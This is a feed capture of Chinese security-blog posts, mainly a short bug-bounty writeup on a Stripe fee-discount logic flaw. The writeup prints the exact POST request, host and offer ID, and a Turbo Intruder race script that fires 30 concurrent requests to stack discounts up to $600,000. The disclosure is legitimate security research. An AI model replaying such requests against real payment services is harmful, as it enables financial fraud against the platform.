data-linktype="2">dom-xss精选文章</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247487187&amp;idx=1&amp;sn=622438ee6492e4c639ebd8500384ab2f&amp;chksm=e8a604b0dfd18da6c459b4705abd520cc2259a607dd9306915d845c1965224cc117207fc6236&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">年度精选文章</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247487122&amp;idx=1&amp;sn=32459310408d126aa43240673b8b0846&amp;chksm=e8a604f1dfd18de737769dd512ad4063a3da328117b8a98c4ca9bc5b48af4dcfa397c667f4e3&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">Nuclei权威指南-如何躺赚</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247486973&amp;idx=1&amp;sn=6ec419db11ff93d30aa2fbc04d8dbab6&amp;chksm=e8a6079edfd18e88f6236e237837ee0d1101489d52f2abb28532162e2937ec4612f1be52a88f&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">漏洞赏金猎人系列-如何测试设置功能IV</a></span></p><p><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247486764&amp;idx=1&amp;sn=9f78d4c937675d76fb94de20effdeb78&amp;chksm=e8a6074fdfd18e59126990bc3fcae300cdac492b374ad3962926092aa0074c3ee0945a31aa8a&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">漏洞赏金猎人系列-如何测试注册功能以及相关Tips</a></span><span style="display: none;line-height: 0px;"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247486764&amp;idx=1&amp;sn=9f78d4c937675d76fb94de20effdeb78&amp;chksm=e8a6074fdfd18e59126990bc3fcae300cdac492b374ad3962926092aa0074c3ee0945a31aa8a&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">‍</a></span></span></p><h2 data-cacheurl="" data-remoteid="" style="box-sizing: border-box;margin: 30px 0px 15px;color: rgba(0, 0, 0, 0.85);font-weight: 500;cursor: pointer;padding: 0px;background: none center center / 63px no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;height: auto;align-items: unset;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;justify-content: center;line-height: 1.5em;overflow: unset; text-align: left;text-shadow: none;transform: none;-webkit-box-reflect: unset;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-image: url(&#34;https://wechat2rss.xlab.app/img-proxy/?k=4ac64a0a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F7xtecWUgCRwgMLVBllsx9v68uAeCbEOckLPPAXsQC2ITd799JoUZlrT55gGkrgZcQ08quz5RE43icMNF0hpq4gDeyqMLTVicqfzx6Gx6RpX04%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg&#34;);"><span style=" box-sizing: border-box;cursor: pointer;font-size: 18px;color: rgb(72, 179, 120);line-height: 2.4em;letter-spacing: 0em;margin: 38px 0px 10px;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;align-items: unset;background: none 0% 0% / auto no-repeat scroll padding-box border-box transparent;box-shadow: none;content: unset;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: 38px;justify-content: unset;overflow: unset;padding: 0px; text-align: center;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset; "><span leaf="">参考</span></span></h2><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><a href="https://hackerone.com/reports/1788006" target="_blank">https://hackerone.com/reports/1788006</a></span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=5bab30d7&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIzMTIzNTM0MA%3D%3D%26mid%3D2247499576%26idx%3D1%26sn%3D8823029184e74644e518fc4085925564">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 18 Jun 2026 11:00:00 +0800</pubDate>
    </item>
    <item>
      <title>折扣逻辑漏洞</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247499570&amp;idx=1&amp;sn=845974de723dbcd86e8358ada0bbc851</link>
      <description></description>
      <content:encoded><![CDATA[<p>原创 <span>h1</span> <span>2026-06-17 11:00</span> <span style="display: inline-block;">四川</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=34b02ebe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F7xtecWUgCRyIpy4ZibCXdHfcyC5rQXWv0o4o7NPYx7svvEUlRibFJ8tNRSJ8sCy9icloEUO9BNkWHfjeCOtiaD8QCsKxWoKtraMNkibun8GRpHEM%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <h2 data-cacheurl="" data-pm-slice="0 0 []" data-remoteid="" style="box-sizing: border-box;margin: 30px 0px 15px;color: rgba(0, 0, 0, 0.85);font-weight: 500;cursor: pointer;padding: 0px;background: none center center / 63px no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;height: auto;align-items: unset;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;justify-content: center;line-height: 1.5em;overflow: unset; text-align: left;text-shadow: none;transform: none;-webkit-box-reflect: unset;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-image: url(&#34;https://wechat2rss.xlab.app/img-proxy/?k=fb75d48d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F7xtecWUgCRzGvkdziaDros0fV2pdKcUCp1mEvrtiau14TJ7z0W6yaoe7Xpk9KUqWf4icBta9spv0X2nibEhnU16Mic6SFhv3CVdnicrD5abicWoXn8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg&#34;);"><span style=" box-sizing: border-box;cursor: pointer;font-size: 18px;color: rgb(72, 179, 120);line-height: 2.4em;letter-spacing: 0em;margin: 38px 0px 10px;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;align-items: unset;background: none 0% 0% / auto no-repeat scroll padding-box border-box transparent;box-shadow: none;content: unset;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: 38px;justify-content: unset;overflow: unset;padding: 0px; text-align: center;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset; "><span leaf="">正文</span></span></h2><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">Stripe 给我提供了一项 20,000 美元的交易手续费减免优惠（fee discount）</span></p><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这个接口存在并发问题</span></p><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">使用了 Burp Turbo Intruder 对下面这个接口进行了并发攻击：</span></p><pre style="box-sizing: border-box;font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin: 10px 0px;overflow: auto;cursor: pointer;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;padding: 0px;color: rgb(0, 0, 0);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);cursor: pointer;border-radius: 5px;"><span leaf="">/ajax/accept_fee_discount_offer</span></code></pre><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">当时没想到会成功，所以忘记截图了。）</span></p><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">但后来发现：</span></p><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">甚至根本不需要 race。</span></p><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">因为我调用了 30 次请求，</span></p><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">结果：</span></p><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">30 个手续费减免被立刻应用到了我的账户。</span></p><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">因此：</span></p><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">我的账户现在拥有 600,000 美元的免手续费额度。</span></p><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">而 Stripe 原本显然只打算给我：</span></p><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">20,000 美元。</span></p><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">我认为：</span></p><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">如果继续调用这个接口，应该还能继续获得更多额度。</span></p><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">唯一需要的是：</span></p><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">一个有效的 fdo_ ID。</span></p><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">我发送的请求如下</span></p><pre style="box-sizing: border-box;font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin: 10px 0px;overflow: auto;cursor: pointer;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;padding: 0px;color: rgb(0, 0, 0);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);cursor: pointer;border-radius: 5px;"><span leaf="">POST /ajax/accept_fee_discount_offer?include_only[]=token</span><br style="box-sizing: border-box;cursor: pointer;"/><span leaf="">Host: dashboard.stripe.com</span><br style="box-sizing: border-box;cursor: pointer;"/><span leaf="">id=fdo_1Mb8GtDk3bp1ZWoGQKhSaN5E</span></code></pre><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">Turbo Intruder 脚本 该脚本：</span></p><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">建立 30 个并发连接</span></p><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">把请求挂到同一个 gate（race1）</span></p><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">核心逻辑：</span></p><pre style="box-sizing: border-box;font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin: 10px 0px;overflow: auto;cursor: pointer;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;padding: 0px;color: rgb(0, 0, 0);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);cursor: pointer;border-radius: 5px;"><span style="box-sizing: border-box;color: rgb(198, 120, 221);cursor: pointer;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> i </span><span style="box-sizing: border-box;color: rgb(198, 120, 221);cursor: pointer;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(30):</span><br style="box-sizing: border-box;cursor: pointer;"/><span leaf="">    engine.queue(target.req, target.baseInput, gate=</span><span style="box-sizing: border-box;color: rgb(152, 195, 121);cursor: pointer;line-height: 26px;"><span leaf="">&#39;race1&#39;</span></span><span leaf="">)</span><br style="box-sizing: border-box;cursor: pointer;"/><span leaf="">engine.openGate(</span><span style="box-sizing: border-box;color: rgb(152, 195, 121);cursor: pointer;line-height: 26px;"><span leaf="">&#39;race1&#39;</span></span><span leaf="">)</span></code></pre><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">即：</span></p><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">30 个请求同时发射。</span></p><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">简简单单的漏洞,但是赏金不低</span></p><p style="text-align: center;" data-pm-slice="2 2 []"><span leaf="">如果你是一个长期主义者，欢迎加入我的知识星球，本星球日日更新,包含号主大量一线实战,全网独一无二，微信识别二维码付费即可加入，如不满意，72 小时内可在 App 内无条件自助退款</span></p><p style="text-align: center;" data-pm-slice="2 2 []"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012574" data-ratio="0.5493333333333333" data-s="300,640" data-w="750" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=033161f8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYmmVSe19Qj5EMr3X76qdKBrhIIkBlVVyuiaiasseFZ9LqtibyKFk7gXvgTU2C2yEwKLaaqfX0DL3eoH6gTcNLJvDQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p><span style="box-sizing: border-box;text-align: center;display: inline-block;height: 38px;line-height: 42px;color: rgb(72, 179, 120);background-position: left center;background-repeat: no-repeat;background-attachment: initial;background-origin: initial;background-clip: initial;background-size: 63px;margin-top: 38px;font-size: 18px;margin-bottom: 10px;"><span leaf="">往期回顾</span></span></p><h1 data-pm-slice="0 0 []"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247497813&amp;idx=1&amp;sn=c778ad6a4bffd7a0a72a900144ea90ca&amp;scene=21#wechat_redirect" textvalue="如何利用ai辅助挖漏洞" data-itemshowtype="0" linktype="text" data-linktype="2">如何利用ai辅助挖漏洞</a></span></h1><h1 data-pm-slice="0 0 []"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247497880&amp;idx=1&amp;sn=b9b980464333074216b55ea94c8a743a&amp;scene=21#wechat_redirect" textvalue="如何在移动端抓包-下" data-itemshowtype="0" linktype="text" data-linktype="2">如何在移动端抓包-下</a></span></h1><h1 data-pm-slice="0 0 []"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;h1&#34;,&#34;attributes&#34;:{&#34;id&#34;:&#34;activity-name&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><a class="normal_text_link" target="_blank" style="" 